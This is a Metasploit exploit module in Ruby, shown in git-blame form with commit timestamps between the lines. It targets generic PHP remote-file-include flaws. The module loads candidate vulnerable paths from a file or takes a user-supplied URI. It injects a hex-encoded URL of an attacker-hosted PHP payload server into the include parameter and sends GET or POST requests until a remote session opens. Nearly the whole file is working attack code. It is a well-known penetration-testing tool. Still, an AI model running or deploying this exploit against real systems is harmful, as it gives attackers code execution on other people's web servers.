2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-02-15 17:59:54 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
2013-08-17 16:36:43 +00:00
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-12-17 07:57:51 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2011-10-18 09:10:45 +00:00
|
|
|
Rank = NormalRanking
|
2006-12-17 07:57:51 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::HttpServer::PHPInclude
|
2006-12-17 07:57:51 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-02-15 17:59:54 +00:00
|
|
|
super(update_info(info,
|
2013-08-17 16:35:09 +00:00
|
|
|
'Name' => 'PHP Remote File Include Generic Code Execution',
|
2013-08-17 16:36:43 +00:00
|
|
|
'Description' => %q{
|
2010-03-10 05:58:01 +00:00
|
|
|
This module can be used to exploit any generic PHP file include vulnerability,
|
|
|
|
where the application includes code like the following:
|
2010-02-15 17:59:54 +00:00
|
|
|
|
2010-03-10 05:58:01 +00:00
|
|
|
<?php include($_GET['path']); ?>
|
2006-12-17 07:57:51 +00:00
|
|
|
},
|
2013-08-17 16:35:09 +00:00
|
|
|
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
|
2013-08-17 16:36:43 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2013-08-17 16:35:09 +00:00
|
|
|
#'References' => [ ],
|
|
|
|
'Privileged' => false,
|
2013-08-17 16:36:43 +00:00
|
|
|
'Payload' =>
|
2006-12-17 07:57:51 +00:00
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
2013-08-17 16:36:43 +00:00
|
|
|
'Compat' =>
|
2008-09-24 04:41:51 +00:00
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
2010-06-02 05:04:24 +00:00
|
|
|
# Arbitrary big number. The payload gets sent as an HTTP
|
|
|
|
# response body, so really it's unlimited
|
2013-08-17 16:35:09 +00:00
|
|
|
'Space' => 262144, # 256k
|
2006-12-17 07:57:51 +00:00
|
|
|
},
|
2010-02-15 17:59:54 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2010-08-25 20:55:37 +00:00
|
|
|
'WfsDelay' => 30
|
2010-02-15 17:59:54 +00:00
|
|
|
},
|
2011-10-15 21:09:17 +00:00
|
|
|
'DisclosureDate' => 'Dec 17 2006',
|
2013-08-17 16:35:09 +00:00
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
2013-08-17 16:36:43 +00:00
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
2006-12-17 07:57:51 +00:00
|
|
|
'DefaultTarget' => 0))
|
2010-02-15 17:59:54 +00:00
|
|
|
|
2010-03-10 05:58:01 +00:00
|
|
|
register_options([
|
|
|
|
OptString.new('PATH', [ true , "The base directory to prepend to the URL to try", '/']),
|
|
|
|
OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
|
2011-10-04 16:02:52 +00:00
|
|
|
OptString.new('POSTDATA', [false, "The POST data to send, with the include parameter changed to XXpathXX"]),
|
2012-10-05 21:00:38 +00:00
|
|
|
OptString.new('HEADERS', [false, "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""]),
|
2010-03-10 05:58:01 +00:00
|
|
|
OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
|
|
|
|
File.join(Msf::Config.install_root, "data", "exploits", "php", "rfi-locations.dat")
|
|
|
|
])
|
|
|
|
], self.class)
|
2006-12-17 07:57:51 +00:00
|
|
|
end
|
2010-02-15 17:59:54 +00:00
|
|
|
|
2013-08-17 16:36:43 +00:00
|
|
|
def check
|
|
|
|
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
|
|
|
|
|
|
|
|
tpath = normalize_uri(datastore['PATH'])
|
|
|
|
if tpath[-1,1] == '/'
|
|
|
|
tpath = tpath.chop
|
|
|
|
end
|
|
|
|
|
|
|
|
if(uri and ! uri.empty?)
|
|
|
|
uri.gsub!(/\?.*/, "")
|
|
|
|
print_status("Checking uri #{rhost+tpath+uri}")
|
|
|
|
response = send_request_raw({ 'uri' => tpath+uri})
|
|
|
|
return Exploit::CheckCode::Detected if response.code == 200
|
|
|
|
print_error("Server responded with #{response.code}")
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
2009-09-10 05:24:03 +00:00
|
|
|
end
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2012-10-05 21:00:38 +00:00
|
|
|
def datastore_headers
|
|
|
|
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
|
|
|
|
headers_hash = Hash.new
|
|
|
|
if (headers and ! headers.empty?)
|
|
|
|
headers.split(',').each do |header|
|
|
|
|
key,value = header.split(':')
|
|
|
|
headers_hash[key] = value.strip
|
|
|
|
end
|
|
|
|
end
|
|
|
|
headers_hash
|
|
|
|
end
|
2010-02-15 17:59:54 +00:00
|
|
|
|
2012-10-05 21:00:38 +00:00
|
|
|
def php_exploit
|
2010-02-15 17:59:54 +00:00
|
|
|
uris = []
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2012-11-08 16:42:48 +00:00
|
|
|
tpath = normalize_uri(datastore['PATH'])
|
2010-02-16 05:24:31 +00:00
|
|
|
if tpath[-1,1] == '/'
|
|
|
|
tpath = tpath.chop
|
|
|
|
end
|
2010-02-15 17:59:54 +00:00
|
|
|
|
|
|
|
# PHPURI overrides the PHPRFIDB list
|
2011-10-17 15:59:57 +00:00
|
|
|
if (datastore['PHPURI'] and not datastore['PHPURI'].empty? and (datastore['POSTDATA'].nil? or datastore['POSTDATA'].empty?) )
|
2010-02-15 17:59:54 +00:00
|
|
|
uris << datastore['PHPURI'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
|
2011-10-04 16:02:52 +00:00
|
|
|
http_method = "GET"
|
|
|
|
elsif (datastore['POSTDATA'] and not datastore['POSTDATA'].empty?)
|
|
|
|
uris << datastore['PHPURI']
|
|
|
|
postdata = datastore['POSTDATA'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
|
|
|
|
http_method = "POST"
|
2010-02-15 17:59:54 +00:00
|
|
|
else
|
|
|
|
print_status("Loading RFI URLs from the database...")
|
|
|
|
::File.open(datastore['PHPRFIDB'], "rb") do |fd|
|
|
|
|
fd.read(fd.stat.size).split(/\n/).each do |line|
|
|
|
|
line.strip!
|
|
|
|
next if line.empty?
|
|
|
|
next if line =~ /^#/
|
|
|
|
next if line !~ /^\//
|
|
|
|
|
|
|
|
uris << line.gsub('XXpathXX',
|
|
|
|
Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', "%") # ? append is required
|
|
|
|
)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
uris.uniq!
|
|
|
|
print_status("Loaded #{uris.length} URLs")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Very short timeout because the request may never return if we're
|
2008-03-04 07:34:26 +00:00
|
|
|
# sending a socket payload
|
|
|
|
timeout = 0.01
|
|
|
|
|
2010-02-15 17:59:54 +00:00
|
|
|
# We can't make this parallel without breaking PHP findsock
|
|
|
|
# Findsock payloads cause this loop to run slowly
|
|
|
|
uris.each do |uri|
|
|
|
|
break if session_created?
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2013-08-27 13:00:13 +00:00
|
|
|
vprint_status("Sending: #{rhost+tpath+uri}")
|
2010-02-15 17:59:54 +00:00
|
|
|
begin
|
2011-11-28 04:42:59 +00:00
|
|
|
if http_method == "GET"
|
2011-10-04 16:02:52 +00:00
|
|
|
response = send_request_raw( {
|
|
|
|
'global' => true,
|
2013-08-17 16:36:43 +00:00
|
|
|
'uri' => tpath+uri,
|
2012-10-05 21:00:38 +00:00
|
|
|
'headers' => datastore_headers,
|
2011-10-04 16:02:52 +00:00
|
|
|
}, timeout)
|
|
|
|
elsif http_method == "POST"
|
|
|
|
response = send_request_raw(
|
|
|
|
{
|
2013-08-17 16:36:43 +00:00
|
|
|
'global' => true,
|
2013-08-17 16:35:09 +00:00
|
|
|
'uri' => tpath+uri,
|
2013-08-17 16:36:43 +00:00
|
|
|
'method' => http_method,
|
|
|
|
'data' => postdata,
|
2012-10-05 21:00:38 +00:00
|
|
|
'headers' => datastore_headers.merge({
|
2013-08-17 16:36:43 +00:00
|
|
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
2012-10-05 21:00:38 +00:00
|
|
|
'Content-Length' => postdata.length
|
|
|
|
})
|
2011-10-04 16:02:52 +00:00
|
|
|
}, timeout)
|
|
|
|
end
|
2010-02-15 17:59:54 +00:00
|
|
|
handler
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
2010-09-21 02:52:49 +00:00
|
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
|
|
|
|
print_error("The target service unreachable")
|
|
|
|
break
|
2010-09-25 03:14:21 +00:00
|
|
|
rescue ::OpenSSL::SSL::SSLError
|
2010-09-25 04:54:10 +00:00
|
|
|
print_error("The target failed to negotiate SSL, is this really an SSL service?")
|
2010-09-25 03:14:21 +00:00
|
|
|
break
|
2010-09-21 02:52:49 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Exception #{e.class} #{e}")
|
2010-02-15 17:59:54 +00:00
|
|
|
end
|
2011-10-04 16:02:52 +00:00
|
|
|
|
2011-03-02 05:03:20 +00:00
|
|
|
Thread.pass
|
2010-02-15 17:59:54 +00:00
|
|
|
end
|
|
|
|
end
|
2009-06-20 05:50:52 +00:00
|
|
|
end
|